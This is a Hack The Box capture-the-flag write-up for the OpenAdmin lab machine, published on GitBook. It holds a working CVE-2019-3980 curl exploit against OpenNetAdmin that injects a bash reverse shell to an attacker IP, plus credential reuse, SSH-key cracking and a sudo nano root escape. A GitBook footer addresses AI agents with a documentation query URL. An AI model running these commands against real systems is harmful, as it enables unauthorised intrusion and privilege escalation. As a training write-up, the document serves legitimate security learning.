> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-openadmin.md).

# HTB - OpenAdmin

## Enumeration and Foothold

### NMAP

```bash
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### HTTP

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F8uV0C6Of3ToX3pQBKtym%2Fimage.png?alt=media&amp;token=70a78940-8bf5-4fa6-95e7-8347213caad9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FywrAb5nDQEGYp4ut7bsi%2Fimage.png?alt=media&amp;token=ffcd6398-d782-4345-8d20-1103d37ccc7d" alt=""><figcaption></figcaption></figure>

browsing to music reveals a music website

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FPSDgN43T5EjueOxbLgDm%2Fimage.png?alt=media&amp;token=83794b79-d427-4078-b96a-e951d8725eed" alt=""><figcaption></figcaption></figure>

everything on the site is static also clicking on login or create account redirects to the below page which is the OpenNetAdmin page.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F7ftcVM9ZSe1uBXELkdHc%2Fimage.png?alt=media&amp;token=46c98423-8dce-4e7a-bcef-ffee9a72f2ca" alt=""><figcaption></figcaption></figure>

reveals the version of OpenNetAdmin as v18.1.1.

Poking around google leaks that the current version of OpenNetAdmin suffers from unauthenticated remote code execution.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FbAIzqku4uBwqynT2RrPQ%2Fimage.png?alt=media&amp;token=13334b42-4811-4bf9-804f-752453ca359b" alt=""><figcaption></figcaption></figure>

### CVE-2019-3980

{% embed url="<https://kitploit.com/en/tools/github/cyberquestor-infosec/cve-2019-3980-open_net_admin_v18.1.1_rce>" %}

the above blog post clearly explains the exploitation process.

i will run the below payload to get the shell

```bash
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.52%2F4444%200%3E%261%22;echo \"END\"&xajaxargs[]=ping" "http://10.129.92.7/ona/" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
```

## Shell as www-data

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FLXre5sipO37FjBamPp7n%2Fimage.png?alt=media&amp;token=738d46db-3899-46a7-a080-6525bbf9e835" alt=""><figcaption></figcaption></figure>

next upgrade the shell

```bash
www-data@openadmin:/opt/ona/www$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<ww$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@openadmin:/opt/ona/www$ export TERM=xterm
export TERM=xterm
www-data@openadmin:/opt/ona/www$ 
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FgnzeH0cN5nnPuly3EbTQ%2Fimage.png?alt=media&amp;token=3429f515-63cd-4079-81df-ec7c84831707" alt=""><figcaption></figcaption></figure>

cannot access any user directory.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FTIfVse0Q5q6creCbiBQk%2Fimage.png?alt=media&amp;token=87f5419f-55bc-4292-b066-d4eb4aa4ecac" alt=""><figcaption></figcaption></figure>

these directories did not show in the earlier directory enumeration possibly because of small wordlist used.

sierra reveals another website

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fg3lCmC6bqyLtuFv5uHAP%2Fimage.png?alt=media&amp;token=96216ae2-4009-4fcf-b362-5fe9f5ffce4a" alt=""><figcaption></figcaption></figure>

artwork is another web application

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F9yNO5bmcPYt7DSEVZ1mo%2Fimage.png?alt=media&amp;token=1d89522f-34c3-4b74-b3c2-29f1435855bc" alt=""><figcaption></figcaption></figure>

similarly even marga is too

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FXViSHGRuvhXHnf1Zg0gl%2Fimage.png?alt=media&amp;token=b43fd1e0-677f-436e-b326-016a85dec747" alt=""><figcaption></figcaption></figure>

same as music these websites are also static and nothing useful

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FlnnbMGjFPj7nSzYFyuWK%2Fimage.png?alt=media&amp;token=248dfa07-8246-42a6-9b0e-c2e488f85e34" alt=""><figcaption></figcaption></figure>

reading the database configuration file leaks a database password.

The  password works against jimmy and got successful authentication as jimmy.

## Shell as Jimmy

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F0USnt7QwZJpF3hREMJpr%2Fimage.png?alt=media&amp;token=f8f441c4-679e-4a35-8d8b-549544ba9cd1" alt=""><figcaption></figcaption></figure>

i can also try to login with ssh.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FJMp8M2khTVikfReqaxAA%2Fimage.png?alt=media&amp;token=c9fc93a6-161b-4db0-852f-0cba7daa3f57" alt=""><figcaption></figcaption></figure>

there is internal vhost running on the machine as joanna on port 52846.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FXMmzHf2dl6R1RZZOvMd8%2Fimage.png?alt=media&amp;token=b1339321-e949-481d-9d98-f1f7e39275b8" alt=""><figcaption></figcaption></figure>

accessing the internal directory has 3 php files

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F6wg9bPND8eWeeLdIzyCv%2Fimage.png?alt=media&amp;token=c229816a-48f6-4d3a-a270-5169b3e94376" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fb16MkDkdg1lDEuuCNCj3%2Fimage.png?alt=media&amp;token=7a016ed2-af9d-4c29-b587-f8ba546dd8fc" alt=""><figcaption></figcaption></figure>

the login.php leaks a hash, i can and see if it matches the password i have used earlier.

else i can try it against joanna.

and the password is cracked

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FmyF4ageoSsagPqi2MiUC%2Fimage.png?alt=media&amp;token=83f6a88d-7850-4253-aa36-cd94560d2855" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FZvC2HTho4CzVcPrLH2iH%2Fimage.png?alt=media&amp;token=0bdce01e-8712-42a3-8767-6321c4edcb83" alt=""><figcaption></figcaption></figure>

visiting the main.php displays the private key of joanna inorder to get that i need to access the internal vhost and login for that i will port forward the host and access it.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F7Vbwfu2oXzvSWYbaz7DE%2Fimage.png?alt=media&amp;token=82979f72-067e-4b9a-ae1b-4ed06f572a53" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F3vL4lJrQJ1JtS3AJaRwV%2Fimage.png?alt=media&amp;token=a45dc262-eaf6-41fb-b60a-0e3d57ef6915" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FlvA2TK32x6dsMilFVEIM%2Fimage.png?alt=media&amp;token=2975c795-00dd-4f85-872f-b24a70c350bd" alt=""><figcaption></figcaption></figure>

the key is encrypted.

i can use johntheripper to crack.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FeCfKddZqlldXhmyrFZMs%2Fimage.png?alt=media&amp;token=6cc3ff6c-f1a2-466a-8c60-3ac728cb40bb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fprf95mq7fUhvDzxbIpFB%2Fimage.png?alt=media&amp;token=80fbf3ec-1182-4268-96e9-ad70e0b8c4c0" alt=""><figcaption></figcaption></figure>

## Shell as Joanna

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FYqKxAUpts20HfpL0XRGR%2Fimage.png?alt=media&amp;token=e629818d-8e24-44b8-ba00-ac2702947b3b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FNJVpeHAMxscInHyb4QWT%2Fimage.png?alt=media&amp;token=2f77374e-99a0-41db-a6e0-5efd0e48a76d" alt=""><figcaption></figcaption></figure>

joanna can nano as root on a custum binary called priv

gtfobins has a page on utilising nano to reach root.

{% embed url="<https://gtfobins.org/gtfobins/nano/>" %}

```
sudo /bin/nano /opt/priv
```

**Inside nano:**

1. Press `Ctrl+R` (Read File)
2. Then `Ctrl+X` (this triggers nano's "Execute Command" prompt instead of reading a file)
3. Type this at the prompt and hit Enter:

```
reset; sh 1>&0 2>&0
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FET0CpTk0ouYaX6k6XTDr%2Fimage.png?alt=media&amp;token=7d625d0d-fee3-490c-a8f2-6087947ece6e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FRRvpGYLcegHaXr30X3vb%2Fimage.png?alt=media&amp;token=63232d0a-6361-4374-9538-1247cfa69115" alt=""><figcaption></figcaption></figure>

## Shell as Root

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fs53kXBdWulgEWrtcbahZ%2Fimage.png?alt=media&amp;token=71715b93-4f94-4cbe-9718-dbbb2bad59a1" alt=""><figcaption></figcaption></figure>

that said i will get a reverse shell as root for ease.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F5yXFKNrIW2ZX8bxC7Cyq%2Fimage.png?alt=media&amp;token=49b5142d-6eb2-4048-b888-a0a244ee1eee" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FFvjKX4jmpRqAJbApPZeY%2Fimage.png?alt=media&amp;token=5ec87cb0-74c3-4861-8e5f-abf8ce5a378e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-oscp-machines/htb-openadmin.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
